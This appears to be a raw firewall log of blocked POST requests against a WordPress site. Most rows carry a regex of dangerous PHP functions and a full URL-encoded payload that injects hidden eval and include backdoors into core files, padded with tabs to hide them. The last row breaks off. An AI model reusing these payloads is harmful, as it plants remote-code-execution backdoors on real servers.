0=71\n\nlH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:17","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ub:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-length:3952\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIJVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nUb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:19","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-length:3952\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\npV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:21","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-length:3952\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL04vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\ncN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/my-sites.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522va%255Cx6Cu%255Cx65%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524res%2529%2520as%2520%2524char%2529%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252021%2529%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524flag%2520%253D%25200%252C%2520%2524mrk%2520%253D%2520count%2528%2524element%2529%253B%2520%2524flag%2520%253C%2520%2524mrk%253B%2520%2524flag%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524element%255B%2524flag%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524elem%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524elem%2529%2529%2520%257B%2520%2524bind%2520%253D%2520sprintf%2528%2522%2525s\/.rec%2522%252C%2520%2524elem%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524bind%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524bind%253B%2520unlink%2528%2524bind%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:23","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 